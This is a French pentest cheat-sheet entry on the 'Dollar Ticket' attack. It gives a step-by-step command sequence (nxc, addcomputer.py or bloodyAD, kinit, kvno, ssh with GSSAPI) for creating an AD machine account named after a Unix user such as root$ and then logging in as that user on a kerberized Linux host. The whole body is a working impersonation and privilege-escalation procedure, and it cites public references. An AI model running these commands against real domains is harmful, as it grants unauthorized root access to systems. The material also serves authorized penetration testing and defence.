nxc ldap $DC -u $USER -p $PASS -M maqDescription: Vérifier qu'on peut créer un compte machine : MAQ > 0, ou un droit de création délégué (ms-DS-MachineAccountQuota / CreateChild sur une OU). Sans ça, l'attaque n'est pas possible.
Exploitation
Confusion de principal Kerberos (AD Linux / Samba AD). Sur un hôte kerberisé, MIT Kerberos mappe par défaut (auth_to_local = DEFAULT) un principal du realm vers l'utilisateur Unix homonyme. En créant un compte machine nommé exactement comme un user Unix cible suffixé de $ (ex: root$), on s'authentifie en GSSAPI en tant que cet utilisateur (root) sur SSH, NFS, etc.
nxc ldap $DC -u $USER -p $PASS -M maqDescription: Vérifier qu'on peut créer un compte machine : MAQ > 0, ou un droit de création délégué (ms-DS-MachineAccountQuota / CreateChild sur une OU). Sans ça, l'attaque n'est pas possible.
id $TARGET_USER # côté cible : confirmer que l'utilisateur Unix existeDescription: L'attaque usurpe un utilisateur Unix existant sur l'hôte kerberisé (ex: root). C'est ce nom qui devient le nom du compte machine, suffixé de $.
addcomputer.py $DOMAIN/$USER:'$PASS' -computer-name '$TARGET_USER$' -computer-pass '$NEWPASS' -dc-ip $DC -dc-host $DC_FQDN -method SAMRDescription: Créer un compte machine nommé EXACTEMENT comme l'utilisateur Unix cible + $ (ex: root$). Le sAMAccountName doit matcher le user local à usurper.
bloodyAD --host $DC -d $DOMAIN -u $USER -p '$PASS' add computer '$TARGET_USER$' '$NEWPASS'Description: Alternative LDAP (bloodyAD) pour créer le compte machine, utile si SAMR/addcomputer.py est bloqué.
echo '$NEWPASS' | kinit '$TARGET_USER$@$REALM'Description: Obtenir un TGT pour le compte machine. Le principal est $TARGET_USER$@$REALM (realm en MAJUSCULES, ex: DOMAIN.LOCAL).
kvno host/$TARGET_HOSTDescription: Demander le ticket de service du SPN visé (ici host/ pour SSH GSSAPI). Vérifie que le KDC émet bien un TGS pour notre compte machine.
ssh -o PreferredAuthentications=gssapi-with-mic -o PubkeyAuthentication=no $TARGET_USER@$TARGET_HOST 'id'Description: Cœur du Dollar Ticket : en GSSAPI, la règle auth_to_local = DEFAULT mappe le principal $TARGET_USER$ vers le user Unix $TARGET_USER (l'alias $ des comptes machine est retiré). On ouvre une session en tant que cet utilisateur.
Référence : The Hacker Recipes - Dollar ticket · Samba Wiki - Dollar Ticket Attack